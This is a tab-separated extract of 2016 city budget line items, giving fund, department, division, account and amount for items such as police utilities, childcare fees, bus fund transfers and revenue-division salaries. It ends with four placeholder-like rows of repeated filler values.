22668	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
22669	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2016	9482	0	0	0	0	0	0	0	0	0	0	0	9482
22670	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2016	2596	0	0	0	0	0	0	0	0	0	0	0	2596
22671	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22672	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408690.0	AFFORD HSING COMM LINKAGE FEE	622.0	Other	2016	-21000	0	0	0	0	0	0	0	0	0	0	0	-21000
22673	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22674	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22675	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22676	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22677	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	408320.0	LANDSCAPE & IRRIG PLAN CHECK R	612.0	Charges for Service	2016	-41534	0	0	0	0	0	0	0	0	0	0	0	-41534
22678	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522991.0	FREIGHT AND SHIPPING	848.0	 Supplies and Expenses	2016	78443	0	0	0	0	0	0	0	0	0	0	0	78443
22679	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	409220.0	LOCAL COASTAL PROGRAM GRANT	610.0	Intergovernmental	2016	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
22680	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22681	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2016	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
22682	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2016	-28731	0	0	0	0	0	0	0	0	0	0	0	-28731
22683	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409020.0	ENRICHMENT PROGRAM	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22684	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2016	-3266	0	0	0	0	0	0	0	0	0	0	0	-3266
22685	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2016	-70240	0	0	0	0	0	0	0	0	0	0	0	-70240
22686	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2016	-26082	0	0	0	0	0	0	0	0	0	0	0	-26082
22687	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	566620.0	FIRE PREVENTION EDUCATION	806.0	 Supplies and Expenses	2016	20400	0	0	0	0	0	0	0	0	0	0	0	20400
22688	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522230.0	CREDIT CARD FEES	810.0	 Supplies and Expenses	2016	103175	0	0	0	0	0	0	0	0	0	0	0	103175
22689	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579963.0	BBB-GEN FUND REIMB-FIN	910.0	 Supplies and Expenses	2016	269786	0	0	0	0	0	0	0	0	0	0	0	269786
22690	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	808.0	Salaries and Wages	2016	36987	0	0	0	0	0	0	0	0	0	0	0	36987
22691	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1860767	0	0	0	0	0	0	0	0	0	0	0	1860767
22692	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-37806	0	0	0	0	0	0	0	0	0	0	0	-37806
22693	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	3920	0	0	0	0	0	0	0	0	0	0	0	3920
22694	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	13461	0	0	0	0	0	0	0	0	0	0	0	13461
22695	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
22696	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	556010.0	UTILITY CONTRACTS	804.0	 Supplies and Expenses	2016	492758	0	0	0	0	0	0	0	0	0	0	0	492758
22697	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22698	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	13880	0	0	0	0	0	0	0	0	0	0	0	13880
22699	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511749.0	VISION	804.0	Salaries and Wages	2016	1157	0	0	0	0	0	0	0	0	0	0	0	1157
22700	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	11810	0	0	0	0	0	0	0	0	0	0	0	11810
22701	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579964.0	BBB-GEN FUND REIMB-HR	910.0	 Supplies and Expenses	2016	91979	0	0	0	0	0	0	0	0	0	0	0	91979
19063848	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
19632381	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
19668003	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
19672085	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1